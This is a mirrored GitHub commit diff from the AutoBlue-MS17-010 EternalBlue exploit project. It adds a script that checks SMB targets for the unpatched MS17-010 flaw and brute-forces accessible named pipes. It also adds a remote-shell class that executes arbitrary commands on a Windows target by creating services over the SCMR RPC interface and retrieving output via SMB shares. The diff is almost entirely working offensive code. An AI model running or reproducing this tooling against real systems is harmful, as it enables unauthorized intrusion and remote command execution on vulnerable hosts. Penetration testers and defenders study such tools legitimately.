mirror of
https://github.com/3ndG4me/AutoBlue-MS17-010
synced 2026-06-08 10:17:11 +00:00
zzz (#12)
* Create LICENSE * added initial exploit code * Update README.md * Update README.md * added link to tutorial video * Minor change for consistency w/ common tools (#1) * Update listener_prep.sh * Update shell_prep.sh * Updated README to match recent consistency changes * Update README.md * add in groom connection arg to README for clarity and added TODO * added option to select staged or stageless payload in shell_prep.sh (#8) * added fixes to mysmb.py as reccommended by issue #4 (#9) * Update README.md * eternal blue exploit for windows 10, same code as 8 just with notes for my personal organizaton * eternal blue exploit for windows 10, same code as 8 just with notes for my personal organizaton * listener_prep.sh modified for stageless/staged payloads * Update README.md * Update README.md * Update README.md * Update README.md * Update README.md * added improved zzz_exploit.py and mysmb with more named pipes * changed checker to use mysmb function * Delete mysmb.pyc
This commit is contained in:
committed by
Casey Erdmann
parent
9c836683ec
commit
6f0b6db091
@@ -0,0 +1,89 @@
|
||||
from mysmb import MYSMB
|
||||
from impacket import smb, smbconnection, nt_errors
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from struct import pack
|
||||
import sys
|
||||
import argparse
|
||||
|
||||
|
||||
'''
|
||||
Script for
|
||||
- check target if MS17-010 is patched or not.
|
||||
- find accessible named pipe
|
||||
'''
|
||||
|
||||
|
||||
def check_ms17_010(conn):
|
||||
TRANS_PEEK_NMPIPE = 0x23
|
||||
recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800)
|
||||
status = recvPkt.getNTStatus()
|
||||
if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES
|
||||
print('[!] The target is not patched')
|
||||
else:
|
||||
print('[-] The target is patched')
|
||||
sys.exit()
|
||||
|
||||
def check_accessible_pipes(conn):
|
||||
print('=== Testing named pipes ===')
|
||||
conn.find_named_pipe(firstOnly=False)
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
|
||||
parser.add_argument('target', action='store',
|
||||
help='[[domain/]username[:password]@]<targetName or address>')
|
||||
|
||||
group = parser.add_argument_group('connection')
|
||||
group.add_argument('-target-ip', action='store', metavar="ip address",
|
||||
help='IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it')
|
||||
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
|
||||
help='Destination port to connect to SMB Server')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
options = parser.parse_args()
|
||||
|
||||
import re
|
||||
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in remoteName:
|
||||
password = password + '@' + remoteName.rpartition('@')[0]
|
||||
remoteName = remoteName.rpartition('@')[2]
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.target_ip is None:
|
||||
options.target_ip = remoteName
|
||||
|
||||
conn = MYSMB(options.target_ip, int(options.port))
|
||||
try:
|
||||
conn.login(username, password)
|
||||
except smb.SessionError as e:
|
||||
print('[-] Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0])
|
||||
sys.exit()
|
||||
finally:
|
||||
print('[*] Target OS: ' + conn.get_server_os())
|
||||
|
||||
tid = conn.tree_connect_andx('\\\\'+options.target_ip+'\\'+'IPC$')
|
||||
conn.set_default_tid(tid)
|
||||
|
||||
check_ms17_010(conn)
|
||||
check_accessible_pipes(conn)
|
||||
|
||||
conn.disconnect_tree(tid)
|
||||
conn.logoff()
|
||||
conn.get_socket().close()
|
||||
|
||||
print('[*] Done')
|
||||
|
||||
|
||||
|
||||
main()
|
||||
@@ -1,87 +0,0 @@
|
||||
from mysmb import MYSMB
|
||||
from impacket import smb, smbconnection, nt_errors
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from struct import pack
|
||||
import sys
|
||||
|
||||
'''
|
||||
Script for
|
||||
- check target if MS17-010 is patched or not.
|
||||
- find accessible named pipe
|
||||
'''
|
||||
|
||||
USERNAME = ''
|
||||
PASSWORD = ''
|
||||
|
||||
NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
|
||||
|
||||
MSRPC_UUID_BROWSER = uuidtup_to_bin(('6BFFD098-A112-3610-9833-012892020162','0.0'))
|
||||
MSRPC_UUID_SPOOLSS = uuidtup_to_bin(('12345678-1234-ABCD-EF00-0123456789AB','1.0'))
|
||||
MSRPC_UUID_NETLOGON = uuidtup_to_bin(('12345678-1234-ABCD-EF00-01234567CFFB','1.0'))
|
||||
MSRPC_UUID_LSARPC = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0'))
|
||||
MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC','1.0'))
|
||||
|
||||
pipes = {
|
||||
'browser' : MSRPC_UUID_BROWSER,
|
||||
'spoolss' : MSRPC_UUID_SPOOLSS,
|
||||
'netlogon' : MSRPC_UUID_NETLOGON,
|
||||
'lsarpc' : MSRPC_UUID_LSARPC,
|
||||
'samr' : MSRPC_UUID_SAMR,
|
||||
}
|
||||
|
||||
|
||||
if len(sys.argv) != 2:
|
||||
print("{} <ip>".format(sys.argv[0]))
|
||||
sys.exit(1)
|
||||
|
||||
target = sys.argv[1]
|
||||
|
||||
conn = MYSMB(target)
|
||||
try:
|
||||
conn.login(USERNAME, PASSWORD)
|
||||
except smb.SessionError as e:
|
||||
print('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0])
|
||||
sys.exit()
|
||||
finally:
|
||||
print('Target OS: ' + conn.get_server_os())
|
||||
|
||||
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||
conn.set_default_tid(tid)
|
||||
|
||||
|
||||
# test if target is vulnerable
|
||||
TRANS_PEEK_NMPIPE = 0x23
|
||||
recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800)
|
||||
status = recvPkt.getNTStatus()
|
||||
if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES
|
||||
print('The target is not patched')
|
||||
else:
|
||||
print('The target is patched')
|
||||
sys.exit()
|
||||
|
||||
|
||||
print('')
|
||||
print('=== Testing named pipes ===')
|
||||
for pipe_name, pipe_uuid in pipes.items():
|
||||
try:
|
||||
dce = conn.get_dce_rpc(pipe_name)
|
||||
dce.connect()
|
||||
try:
|
||||
dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
|
||||
print('{}: Ok (64 bit)'.format(pipe_name))
|
||||
except DCERPCException as e:
|
||||
if 'transfer_syntaxes_not_supported' in str(e):
|
||||
print('{}: Ok (32 bit)'.format(pipe_name))
|
||||
else:
|
||||
print('{}: Ok ({})'.format(pipe_name, str(e)))
|
||||
dce.disconnect()
|
||||
except smb.SessionError as e:
|
||||
print('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error_code][0]))
|
||||
except smbconnection.SessionError as e:
|
||||
print('{}: {}'.format(pipe_name, nt_errors.ERROR_MESSAGES[e.error][0]))
|
||||
|
||||
|
||||
conn.disconnect_tree(tid)
|
||||
conn.logoff()
|
||||
conn.get_socket().close()
|
||||
@@ -1,10 +1,14 @@
|
||||
# impacket SMB extension for MS17-010 exploit.
|
||||
# this file contains only valid SMB packet format operation.
|
||||
from impacket import smb, smbconnection
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from struct import pack
|
||||
from threading import Thread
|
||||
import os
|
||||
import cmd
|
||||
import string
|
||||
import random
|
||||
import logging
|
||||
|
||||
|
||||
def getNTStatus(self):
|
||||
@@ -117,6 +121,33 @@ class MYSMB(smb.SMB):
|
||||
self._smbConn = None
|
||||
smb.SMB.__init__(self, remote_host, remote_host, timeout=timeout)
|
||||
|
||||
def find_named_pipe(self, firstOnly=True):
|
||||
pipes_file = '/usr/share/metasploit-framework/data/wordlists/named_pipes.txt'
|
||||
try:
|
||||
with open(pipes_file) as f:
|
||||
pipes = [ x.strip() for x in f.readlines()]
|
||||
except IOError as e:
|
||||
print("[-] Could not open {}, trying hardcoded values".format(pipes_file))
|
||||
pipes = [ 'netlogon', 'lsarpc', 'samr', 'browser', 'spoolss', 'atsvc', 'DAV RPC SERVICE', 'epmapper', 'eventlog', 'InitShutdown', 'keysvc', 'lsass', 'LSM_API_service', 'ntsvcs', 'plugplay', 'protected_storage', 'router', 'SapiServerPipeS-1-5-5-0-70123', 'scerpc', 'srvsvc', 'tapsrv', 'trkwks', 'W32TIME_ALT', 'wkssvc','PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', 'db2remotecmd' ]
|
||||
tid = self.tree_connect_andx('\\\\'+self.get_remote_host()+'\\'+'IPC$')
|
||||
found_pipes = []
|
||||
for pipe in pipes:
|
||||
try:
|
||||
fid = self.nt_create_andx(tid, pipe)
|
||||
self.close(tid, fid)
|
||||
found_pipes.append(pipe)
|
||||
print("[+] Found pipe '{}'".format(pipe))
|
||||
if firstOnly:
|
||||
break
|
||||
except smb.SessionError as e:
|
||||
pass
|
||||
self.disconnect_tree(tid)
|
||||
if len(found_pipes) > 0:
|
||||
return found_pipes[0]
|
||||
else:
|
||||
return None
|
||||
|
||||
|
||||
def set_pid(self, pid):
|
||||
self._pid = pid
|
||||
|
||||
@@ -304,10 +335,6 @@ class MYSMB(smb.SMB):
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
|
||||
def send_trans2(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_trans2_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
|
||||
return self.recvSMB()
|
||||
|
||||
def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
|
||||
transCmd['Parameters'] = SMBTransaction2Secondary_Parameters()
|
||||
@@ -379,3 +406,178 @@ class MYSMB(smb.SMB):
|
||||
#print(len(data))
|
||||
return data
|
||||
|
||||
class RemoteShell(cmd.Cmd):
|
||||
def __init__(self, share, rpc, mode, serviceName):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.__share = share
|
||||
self.__mode = mode
|
||||
self.__outputFilename = ''.join([random.choice(string.letters) for _ in range(4)])
|
||||
self.__output = '\\\\127.0.0.1\\{}\\{}'.format(self.__share,self.__outputFilename)
|
||||
self.__batchFile = '%TEMP%\\{}.bat'.format(''.join([random.choice(string.letters) for _ in range(4)]))
|
||||
self.__outputBuffer = b''
|
||||
self.__command = ''
|
||||
self.__shell = '%COMSPEC% /Q /c '
|
||||
self.__serviceName = serviceName
|
||||
self.__rpc = rpc
|
||||
self.intro = '[!] Dropping a semi-interactive shell (remember to escape special chars with ^) \n[!] Executing interactive programs will hang shell!'
|
||||
|
||||
self.__scmr = rpc.get_dce_rpc('svcctl')
|
||||
try:
|
||||
self.__scmr.connect()
|
||||
except Exception as e:
|
||||
logging.critical(str(e))
|
||||
sys.exit(1)
|
||||
|
||||
s = rpc.get_smbconnection()
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
s.setTimeout(100000)
|
||||
if mode == 'SERVER':
|
||||
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
||||
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
||||
|
||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scHandle = resp['lpScHandle']
|
||||
self.transferClient = rpc.get_smbconnection()
|
||||
self.do_cd('')
|
||||
|
||||
def finish(self):
|
||||
# Just in case the service is still created
|
||||
try:
|
||||
self.__scmr = self.__rpc.get_dce_rpc()
|
||||
self.__scmr.connect()
|
||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scHandle = resp['lpScHandle']
|
||||
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
|
||||
service = resp['lpServiceHandle']
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
except scmr.DCERPCException:
|
||||
pass
|
||||
|
||||
def do_shell(self, s):
|
||||
os.system(s)
|
||||
|
||||
def do_exit(self, s):
|
||||
return True
|
||||
|
||||
def emptyline(self):
|
||||
return False
|
||||
|
||||
def do_cd(self, s):
|
||||
# We just can't CD or maintain track of the target dir.
|
||||
if len(s) > 0:
|
||||
logging.error("You can't CD under SMBEXEC. Use full paths.")
|
||||
|
||||
self.execute_remote('cd ' )
|
||||
if len(self.__outputBuffer) > 0:
|
||||
# Stripping CR/LF
|
||||
self.prompt = self.__outputBuffer.decode().replace('\r\n','') + '>'
|
||||
self.__outputBuffer = b''
|
||||
|
||||
def do_CD(self, s):
|
||||
return self.do_cd(s)
|
||||
|
||||
def default(self, line):
|
||||
if line != '':
|
||||
self.send_data(line)
|
||||
|
||||
def get_output(self):
|
||||
def output_callback(data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
if self.__mode == 'SHARE':
|
||||
self.transferClient.getFile(self.__share, self.__outputFilename, output_callback)
|
||||
self.transferClient.deleteFile(self.__share, self.__outputFilename)
|
||||
else:
|
||||
fd = open(SMBSERVER_DIR + '/' + self.__outputFilename,'r')
|
||||
output_callback(fd.read())
|
||||
fd.close()
|
||||
os.unlink(SMBSERVER_DIR + '/' + self.__outputFilename)
|
||||
|
||||
def execute_remote(self, data):
|
||||
to_batch = '{} echo {} ^> {} 2^>^&1 > {}'.format(self.__shell, data, self.__output, self.__batchFile)
|
||||
command = '{} & {} {}'.format(to_batch, self.__shell, self.__batchFile)
|
||||
if self.__mode == 'SERVER':
|
||||
command += ' & ' + self.__copyBack
|
||||
command = '{} & del {}'.format(command, self.__batchFile )
|
||||
logging.debug('Executing %s' % command)
|
||||
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName,
|
||||
lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START)
|
||||
service = resp['lpServiceHandle']
|
||||
|
||||
try:
|
||||
scmr.hRStartServiceW(self.__scmr, service)
|
||||
except:
|
||||
pass
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
self.get_output()
|
||||
#print(self.__outputBuffer)
|
||||
|
||||
def send_data(self, data):
|
||||
self.execute_remote(data)
|
||||
print(self.__outputBuffer.decode())
|
||||
self.__outputBuffer = b''
|
||||
|
||||
class SMBServer(Thread):
|
||||
def __init__(self):
|
||||
Thread.__init__(self)
|
||||
self.smb = None
|
||||
|
||||
def cleanup_server(self):
|
||||
logging.info('Cleaning up..')
|
||||
try:
|
||||
os.unlink(SMBSERVER_DIR + '/smb.log')
|
||||
except:
|
||||
pass
|
||||
os.rmdir(SMBSERVER_DIR)
|
||||
|
||||
def run(self):
|
||||
# Here we write a mini config for the server
|
||||
smbConfig = ConfigParser.ConfigParser()
|
||||
smbConfig.add_section('global')
|
||||
smbConfig.set('global','server_name','server_name')
|
||||
smbConfig.set('global','server_os','UNIX')
|
||||
smbConfig.set('global','server_domain','WORKGROUP')
|
||||
smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log')
|
||||
smbConfig.set('global','credentials_file','')
|
||||
|
||||
# Let's add a dummy share
|
||||
smbConfig.add_section(DUMMY_SHARE)
|
||||
smbConfig.set(DUMMY_SHARE,'comment','')
|
||||
smbConfig.set(DUMMY_SHARE,'read only','no')
|
||||
smbConfig.set(DUMMY_SHARE,'share type','0')
|
||||
smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
|
||||
|
||||
# IPC always needed
|
||||
smbConfig.add_section('IPC$')
|
||||
smbConfig.set('IPC$','comment','')
|
||||
smbConfig.set('IPC$','read only','yes')
|
||||
smbConfig.set('IPC$','share type','3')
|
||||
smbConfig.set('IPC$','path')
|
||||
|
||||
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
|
||||
logging.info('Creating tmp directory')
|
||||
try:
|
||||
os.mkdir(SMBSERVER_DIR)
|
||||
except Exception, e:
|
||||
logging.critical(str(e))
|
||||
pass
|
||||
logging.info('Setting up SMB Server')
|
||||
self.smb.processConfigFile()
|
||||
logging.info('Ready to listen...')
|
||||
try:
|
||||
self.smb.serve_forever()
|
||||
except:
|
||||
pass
|
||||
|
||||
def stop(self):
|
||||
self.cleanup_server()
|
||||
self.smb.socket.close()
|
||||
self.smb.server_close()
|
||||
self._Thread__stop()
|
||||
|
||||
|
||||
Executable
+1037
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user